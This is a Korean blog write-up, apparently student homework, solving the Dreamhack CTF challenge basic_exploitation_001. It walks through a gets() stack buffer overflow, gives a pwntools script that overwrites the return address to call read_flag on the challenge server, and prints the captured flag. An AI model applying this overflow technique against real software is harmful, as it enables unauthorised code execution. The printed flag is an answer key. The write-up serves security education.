system hacking

Layer7 리버싱 1차시 과제 - dreamhack.io basic_exploitation_001

leesu0605 2022. 9. 19. 22:04

일단 c코드와 바이너리 파일을 다운받고 c코드부터 열어 어떤 내용의 코드인지 확인했다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    gets(buf);

    return 0;
}

한 번 훑어보니, buf의 크기는 0x80인데 gets로 제한 없이 입력을 받아 취약점이 터지는 것 같았고, 입력받을 때 ret 주소를 변조해 read_flag()의 주소를 가리키게 하면 될 것 같았다.

이제 정확한 주소 계산을 위해 바이너리 파일로 buf의 정확한 위치를 구해보자.

buf의 정확한 주소는 c코드에서 봤던 0x80이었고, 4바이트의 sfp까지 넣어준 후에 ret 주소를 변조해야하므로 총 0x84개의 무작위값을 넣어주고,

read_flag()의 주소 0x80485B9를 p32로 인코딩해 넣어주면 main함수가 return될 때 read_flag() 함수로 eip가 이동하게 될 것이고, 결국 flag의 내용을 확인할 수 있게 된다.

한 번 페이로드를 구성해보자.

from pwn import *

p=remote("host3.dreamhack.games", 11350)
p.sendline(b'a'*0x84+p32(0x80485B9))
p.interactive()

이런 식으로 구성해 페이로드를 보내주면 된다.
remote 함수로 페이로드를 날릴 서버에 연결해주었고, sendline으로 0x84개의 무작위값을 보내 sfp까지 덮었으며, 그 상태에서 read_flag의 주소까지 넣어 ret 주소를 변조했다.

이 코드를 실행하면 아마 플래그가 정상적으로 출력되고 프로그램이 종료될 것이다.

한 번 실행해보자.

플래그가 정상적으로 출력됐다.

flag : DH{01ec06f5e1466e44f86a79444a7cd116}